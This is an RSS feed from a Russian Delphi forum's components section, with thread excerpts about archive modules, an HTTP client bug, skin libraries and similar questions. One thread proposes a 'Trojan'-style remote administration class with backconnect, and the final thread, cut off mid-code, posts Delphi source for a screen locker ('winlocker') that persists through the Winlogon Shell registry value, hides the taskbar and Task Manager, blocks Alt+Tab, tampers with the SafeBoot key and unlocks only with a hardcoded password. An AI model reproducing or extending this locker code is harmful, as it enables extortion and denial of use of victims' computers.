<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>delfcode</title>
<link>https://delfcode.ru/forum/</link>
<description>delfcode</description>
<lastBuildDate>Wed, 16 Sep 2015 18:29:21 GMT</lastBuildDate>
<generator>uCoz Web-Service</generator>
<item>
<title>Нужен модуль для работы с ZIP или RAR</title>
<link>https://delfcode.ru/forum/18-1144-1</link>
<pubDate>Wed, 16 Sep 2015 18:29:21 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: срочно&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: ramzeswr&lt;br /&gt;Количество ответов: 8</description>
<content:encoded>ребят нужен модуль в котором описаны процедуры для работы с архивами, &lt;u&gt;&lt;b&gt;никаких визуальных компонентов, импортов из вне, и прочего.&lt;/b&gt;&lt;/u&gt; &lt;br /&gt; порылся в сети, в основном смешанные модули идут. по любому у кого-то здесь есть готовый. Лень самому это все вытаскивать и портировать. &lt;br /&gt; скиньте пожалуйста если не трудно &lt;img src=&quot;http://s5.ucoz.net/sm/23/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot; /&gt;&lt;p&gt;&lt;b&gt;Добавлено&lt;/b&gt; (17.09.2013, 21:06)&lt;br /&gt;---------------------------------------------&lt;br /&gt;допустим чтобы была процедура архивации каталога. чтобы не описывать рекурсивное чтение и передачу местоположения каждого файла</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/18-1144-1</guid>
</item>
<item>
<title>Создание класса &quot;Троян&quot;</title>
<link>https://delfcode.ru/forum/18-941-1</link>
<pubDate>Thu, 19 Feb 2015 11:46:53 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Создание класса &quot;Троян&quot;&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: Marra_Kesh&lt;br /&gt;Количество ответов: 29</description>
<content:encoded>Всем привет! &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt; Вот недавно опять увидел вопрос по поводу глючности компонениа TServerSocket.Мне надоело возиться с этим и по сему я предлагаю написать свой класс,используя только WinSock и WinApi.Только небольшое условие,не использовать наследование))) &lt;br /&gt; Один класс должен уметь создавать как сервер,так и клиент,а также поддерживать опцию бэкконекта,двустороннюю передачю данных(ну клиент шлёт команду,сервер выполняет и шлёт клиенту статус выполнения).А ещё желательно заюзать передаччу патока,чтобы скрины слать. &lt;br /&gt; Ну что давайте сделаем его? Каждый распределит какой метод он будет писать. &lt;br /&gt; А потом на его основе напишем свою программу удалённого администрирования от DelfCode))) (не троян,т.к мы не пишем вредоносное ПО)</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>Neo</dc:creator>
<guid>https://delfcode.ru/forum/18-941-1</guid>
</item>
<item>
<title>HTTP client</title>
<link>https://delfcode.ru/forum/18-1099-1</link>
<pubDate>Tue, 23 Jul 2013 12:09:23 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Проблемы реализации&lt;br /&gt;Автор темы: Hargen&lt;br /&gt;Автор последнего сообщения: Hargen&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Всем доброго времени суток. &lt;br /&gt; Решил в силу обстоятельств написать свой http клиент, способный посылать get и post запросы, но столкнулся с такой проблемой - при попытке сформировать запрос и меня вылетает ошибка access violation addr $00000010 , укажите пожалуйста на мою ошибку. &lt;br /&gt; код: &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerZu17vI&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerZu17vI&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerZu17vI&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerZu17vI&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerZu17vI&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerZu17vI&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerZu17vI&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerZu17vI&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerZu17vI&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt; &lt;br /&gt; &lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt; &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt;&lt;br /&gt; unit HTTPWIClient; &lt;br /&gt; interface &lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows,wininet; &lt;br /&gt; Type &lt;br /&gt; THTTPWIClient = class (tobject&amp;#41; &lt;br /&gt; private &lt;br /&gt; fhost:ansistring; &lt;br /&gt; fport:word; &lt;br /&gt; fafile:ansistring; &lt;br /&gt; factive:boolean; &lt;br /&gt; fhSession: HINTERNET; &lt;br /&gt; //fhService: HINTERNET; &lt;br /&gt; fhConnection: HINTERNET; &lt;br /&gt; fhRequest: HINTERNET; &lt;br /&gt; fbuffer:ansistring; &lt;br /&gt; fpos:DWORD; &lt;br /&gt; public &lt;br /&gt; property host:ansistring read fhost; &lt;br /&gt; property port:word read fport; &lt;br /&gt; property afile:ansistring read fafile; &lt;br /&gt; property active:boolean read factive; &lt;br /&gt; property hSession: HINTERNET read fhSession; &lt;br /&gt; property hConnection: HINTERNET read fhConnection; &lt;br /&gt; property hRequest: HINTERNET read fhRequest; &lt;br /&gt; property buffer:ansistring read fbuffer; &lt;br /&gt; Procedure sethost (ahost:ansistring&amp;#41;; &lt;br /&gt; Procedure setport (aport:word&amp;#41;; &lt;br /&gt; Procedure setafile (aafile:ansistring&amp;#41;; &lt;br /&gt; Procedure _InternetOpen; &lt;br /&gt; Procedure _InternetConnect; &lt;br /&gt; Procedure _HttpOpenRequest(request:pchar&amp;#41;; &lt;br /&gt; Procedure _HttpSendRequest(&amp;#41;; &lt;br /&gt; Procedure _InternetReadFile(&amp;#41;; &lt;br /&gt; Procedure CloseSessionHandle; &lt;br /&gt; Procedure CloseConnectionHandle; &lt;br /&gt; Procedure CloseRequestHandle; &lt;br /&gt; end; &lt;br /&gt; //use InternetSetFilePointer(hURL,Pos,nil,0,0&amp;#41;; &lt;br /&gt; implementation &lt;br /&gt; Procedure THTTPWIClient.sethost(ahost:ansistring&amp;#41;; &lt;br /&gt; begin &lt;br /&gt; if not self.active then &lt;br /&gt; self.fhost:=&amp;nbsp;&amp;nbsp;ahost; &lt;br /&gt; end; &lt;br /&gt; Procedure THTTPWIClient.setport (aport:word&amp;#41;; &lt;br /&gt; begin &lt;br /&gt; if not self.active then &lt;br /&gt; self.fport:=&amp;nbsp;&amp;nbsp;aport; &lt;br /&gt; end; &lt;br /&gt; Procedure THTTPWIClient.setafile (aafile:ansistring&amp;#41;; &lt;br /&gt; begin &lt;br /&gt; if not self.active then &lt;br /&gt; self.fafile:=&amp;nbsp;&amp;nbsp;aafile; &lt;br /&gt; end; &lt;br /&gt; Procedure THTTPWIClient._InternetOpen; &lt;br /&gt; begin &lt;br /&gt; fhSession := InternetOpen(nil, 0, nil, nil, 0&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; Procedure THTTPWIClient._InternetConnect; &lt;br /&gt; begin &lt;br /&gt; if fhSession&lt;&gt; nil then &lt;br /&gt; self.fhConnection&amp;nbsp;&amp;nbsp;:= InternetConnect(self.hSession, @self.host,self.port,nil,nil,INTERNET_SERVICE_HTTP,0,0&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; Procedure THTTPWIClient._HttpOpenRequest(request:pchar&amp;#41;; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;fhRequest:= HttpOpenRequest(self.hConnection,request,{self.host+&apos;/&apos;+}@self.afile,nil,nil,nil,INTERNET_FLAG_KEEP_CONNECTION,0&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; Procedure THTTPWIClient._HttpSendRequest(&amp;#41;; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;HttpSendRequest(self.hConnection,nil,0,nil,0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;fpos:=1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;factive:=true; &lt;br /&gt; end; &lt;br /&gt; Procedure THTTPWIClient._InternetReadFile(&amp;#41;; &lt;br /&gt; var readed:DWORD; &lt;br /&gt; succeful:boolean; &lt;br /&gt; begin &lt;br /&gt; repeat &lt;br /&gt; readed:=0; &lt;br /&gt; succeful:=InternetReadFile(self.hConnection,@fbuffer&amp;#91;fpos],1,readed&amp;#41;; &lt;br /&gt; if readed&lt;&gt; 0 then &lt;br /&gt; begin &lt;br /&gt; fpos:=fpos+readed; &lt;br /&gt; end; &lt;br /&gt; until not(succeful&amp;#41; or readed &lt;&gt; 0; &lt;br /&gt; end; &lt;br /&gt; Procedure THTTPWIClient.CloseSessionHandle; &lt;br /&gt; begin &lt;br /&gt; internetclosehandle(fhsession&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; Procedure THTTPWIClient.CloseConnectionHandle; &lt;br /&gt; begin &lt;br /&gt; internetclosehandle(fhconnection&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; Procedure THTTPWIClient.CloseRequestHandle; &lt;br /&gt; begin &lt;br /&gt; internetclosehandle(fhrequest&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; &lt;/span&gt;&lt;!--/BBhide--&gt; &lt;br /&gt; &lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt;&lt;br /&gt; П.С. &lt;br /&gt; В работе с http новичек, если что не так реализованно и вы на это укажите, буду благодарен</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>Hargen</dc:creator>
<guid>https://delfcode.ru/forum/18-1099-1</guid>
</item>
<item>
<title>Конвертировать KOL</title>
<link>https://delfcode.ru/forum/18-1036-1</link>
<pubDate>Tue, 16 Apr 2013 16:47:58 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: ms301&lt;br /&gt;Автор последнего сообщения: ms301&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Ребят, у кого есть Delphi XE3, если можете, помогите конвертировать библиотеку KOL для XE3. &lt;br /&gt; Скачать можно тут: &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;http://u.to/oWhY&quot; title=&quot;http://kolmck.net/rindex.htm&quot; rel=&quot;nofollow&quot;&gt;http://kolmck.net/rindex.htm&lt;/a&gt; &lt;br /&gt; Последняя версия для XE2. Я сразу сам пробовал но слишком много директив для компилятора. Сам не потяну перевести.</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>ms301</dc:creator>
<guid>https://delfcode.ru/forum/18-1036-1</guid>
</item>
<item>
<title>Alpha skins</title>
<link>https://delfcode.ru/forum/18-62-1</link>
<pubDate>Sat, 13 Apr 2013 21:19:35 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Визуальный компонент&lt;br /&gt;Автор темы: Asmi&lt;br /&gt;Автор последнего сообщения: ms301&lt;br /&gt;Количество ответов: 19</description>
<content:encoded>AlphaControls - это набор стандартных и некоторых уникальных компонентов, поддерживающих скины (AlphaSkins), а также имеющих некоторые дополнительнвые возможности. Все элементы скина могут иметь свои собственные свойства для рисования продвинутого градиента, реалистичных рамок, полу-прозрачности и размытых теней. Графические функции производят все расчеты и рисования в real-time, что позволяет гибко приспосабливаться к используемым цветовым схемам системы. Добавлено свойство BoundLabel для элементов редактирования. Обрабатываются различные события мыши, что дает некоторые доплнительные возможности компонентам. Менеджер подсказок управляет подсказками в приложении и придает им красивый вид с множеством настроек, которые можно изменять с помощью специального дизайнера. Аналоги стандартных компонентов обеспечивают все функциональные возможности и добавляют множество новых решений для улучшения работы программ и качества их внешнего вида. &lt;br /&gt; &lt;a class=&quot;link&quot; href=&quot;http://www.alphaskins.com/sfiles/stable/acnt_reg7.zip&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;for Delphi 7 (Стабильная версия)&lt;/a&gt; &lt;br /&gt; Пароль для распаковки архива с модулями - слово &quot;пароль&quot;, набранное маленькими русскими буквами в английской раскладке =) &lt;br /&gt; &lt;img src=&quot;http://www.alphaskins.com/sfiles/demos/sshots/stddialogs.png&quot; border=&quot;0&quot;&gt;</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>Asmi</dc:creator>
<guid>https://delfcode.ru/forum/18-62-1</guid>
</item>
<item>
<title>Кнопка произвольной формы Delphi 7</title>
<link>https://delfcode.ru/forum/18-1030-1</link>
<pubDate>Sat, 13 Apr 2013 13:15:10 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Народ помогите!&lt;br /&gt;Автор темы: Serz92Li&lt;br /&gt;Автор последнего сообщения: Serz92Li&lt;br /&gt;Количество ответов: 12</description>
<content:encoded>Люди добрые (надеюсь что это так &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; )! Помогите найти компонент или м.б. сущ-т отдельная прога для этих целей. Только работу с регионами не предлагать. Перелопатил до фига страниц так и не нашел, может кто работал с этим? Заранее спасибо.</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>Serz92Li</dc:creator>
<guid>https://delfcode.ru/forum/18-1030-1</guid>
</item>
<item>
<title>Ищу компонент типа &quot;TRichView&quot;</title>
<link>https://delfcode.ru/forum/18-995-1</link>
<pubDate>Sun, 13 Jan 2013 13:27:48 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: ms301&lt;br /&gt;Автор последнего сообщения: ms301&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Нужен компонент с открытым кодом, который позволит отображать таблицы, картинки, URL. Кто что может подсказать?</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>ms301</dc:creator>
<guid>https://delfcode.ru/forum/18-995-1</guid>
</item>
<item>
<title>Ребят помогите с таймером</title>
<link>https://delfcode.ru/forum/18-940-1</link>
<pubDate>Fri, 14 Dec 2012 16:42:48 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: satahehok11&lt;br /&gt;Автор последнего сообщения: satahehok11&lt;br /&gt;Количество ответов: 8</description>
<content:encoded>Ребят помогите Вот сделал Винлокер хочу сделать что бы на форме еще был таймер отсчитывающий 300 сек . Чисто таймер получаеться а вот вместе с вирусняком ошибки . Я как бы не очень в программировании Помогите Вот сам винлокер и надо на таймер2 закинуть обратный отсчет &lt;br /&gt;&lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerYNf68G&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerYNf68G&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerYNf68G&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerYNf68G&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerYNf68G&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerYNf68G&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerYNf68G&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerYNf68G&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerYNf68G&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dialogs, StdCtrls,registry,ShellAPI, ExtCtrls, jpeg,Types; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TForm1 = class(TForm&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Edit1: TEdit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button1: TButton; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Image1: TImage; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Timer1: TTimer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Timer2: TTimer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Label1: TLabel; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure FormCreate(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Timer1Timer(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure FormKeyDown(Sender: TObject; var Key: Word; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Shift: TShiftState&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Private declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Public declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Form1: TForm1; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; {$R *.dfm} &lt;br /&gt;&lt;br /&gt; procedure TForm1.FormCreate(Sender: TObject&amp;#41;; &lt;br /&gt; Procedure SafeBoot(Block: Boolean&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;var &lt;br /&gt; Reg: TRegistry; &lt;br /&gt; Begin &lt;br /&gt; Reg:=TRegistry.Create; &lt;br /&gt; Try &lt;br /&gt; Reg.RootKey:=HKEY_LOCAL_MACHINE; &lt;br /&gt; Reg.OpenKey(&apos;SYSTEM&amp;#92;CurrentControlSet&amp;#92;Control&apos;,True&amp;#41;; &lt;br /&gt; If Block Then &lt;br /&gt; Begin &lt;br /&gt; Reg.MoveKey(&apos;SafeBoot&apos;,&apos;SystemNls&apos;,True&amp;#41;; &lt;br /&gt; Reg.Free; &lt;br /&gt; End &lt;br /&gt; Else &lt;br /&gt; Begin &lt;br /&gt; Reg.MoveKey(&apos;SystemNls&apos;,&apos;SafeBoot&apos;, True&amp;#41;; &lt;br /&gt; Reg.Free; &lt;br /&gt; End; &lt;br /&gt; Except &lt;br /&gt; Reg.Free; &lt;br /&gt; End; &lt;br /&gt; End; &lt;br /&gt; function GetSpecialPath(CSIDL: word&amp;#41;: string;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;gPath = function(hwndOwner: HWND; lpszPath: PAnsiChar; nFolder: Integer; fCreate: BOOL&amp;#41;: BOOL; stdcall;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;var &lt;br /&gt;&amp;nbsp;&amp;nbsp;s: String; &lt;br /&gt;&amp;nbsp;&amp;nbsp;GetPath: gPath; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;KeyPreview := true; &lt;br /&gt;&amp;nbsp;&amp;nbsp;@GetPath:=GetProcAddress(LoadLibrary(&apos;shell32.dll&apos;&amp;#41;, &apos;SHGetSpecialFolderPathA&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;SetLength(s, MAX_PATH&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;if not GetPath(0, PChar(s&amp;#41;, CSIDL, true&amp;#41;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;then s:=GetSpecialPath($001a&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;result:=PChar(s&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;var &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;hTaskBar : THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;TDWH:THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Reg: TRegistry; &lt;br /&gt;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;CopyFile(PChar(ParamStr(0&amp;#41;&amp;#41;, PChar(GetSpecialPath($0007&amp;#41; + &apos;&amp;#92;1.exe&apos;&amp;#41;, False&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;CopyFile(PChar(ParamStr(0&amp;#41;&amp;#41;, PChar(&apos;C:&amp;#92;Windows&amp;#92;&apos; + ExtractFileName(ParamStr(0&amp;#41;&amp;#41;&amp;#41;, True&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Reg:=TRegistry.Create; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Reg.RootKey:=HKEY_LOCAL_MACHINE; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Reg.OpenKey(&apos;SOFTWARE&amp;#92;Microsoft&amp;#92;Windows NT&amp;#92;CurrentVersion&amp;#92;Winlogon&apos;,true&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Reg.WriteString(&apos;SHELL&apos;,&apos;Explorer.exe,&apos; + &apos;C:&amp;#92;Windows&amp;#92;&apos; + ExtractFileName(ParamStr(0&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Reg.CloseKey; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Reg.Free; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ShowWindow (Application.handle, SW_HIDE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0&amp;#41; ; &lt;br /&gt;&amp;nbsp;&amp;nbsp;hTaskbar := FindWindow(&apos;Shell_TrayWnd&apos;, Nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ShowWindow(hTaskBar, SW_HIDE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ShowWindow(FindWindow(nil,&apos;Program Manager&apos;&amp;#41;,SW_HIDE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;RegisterHotKey(Handle, 1, MOD_ALT, VK_TAB&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;TDWH:=FindWindow(nil,&apos;Äèñïåò÷åð çàäà÷ Windows&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;if TDWH=0 then ShellExecute(0,&apos;open&apos;,&apos;taskmgr.exe&apos;,nil,nil,SW_HIDE&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;else ShowWindow(TDWH,SW_HIDE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;hTaskBar : THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;TDWH:THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Password:string&amp;#91;10]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;Password:=edit1.text; &lt;br /&gt;&amp;nbsp;&amp;nbsp;If (Password=&apos;180887&apos;&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0&amp;#41; ; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ShowWindow(FindWindow(nil,&apos;Program Manager&apos;&amp;#41;,SW_SHOW&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;hTaskbar := FindWindow(&apos;Shell_TrayWnd&apos;, Nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ShowWindow(hTaskBar, SW_SHOWNORMAL&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;TDWH:=FindWindow(nil, &apos;Äèñïåò÷åð çàäà÷ Windows&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ShowWindow(TDWH,SW_SHOWNORMAL&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;UnRegisterHotKey(Handle, 1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Close; &lt;br /&gt;&amp;nbsp;&amp;nbsp;end &lt;br /&gt;&amp;nbsp;&amp;nbsp;else Edit1.Clear; &lt;br /&gt;&amp;nbsp;&amp;nbsp;end; 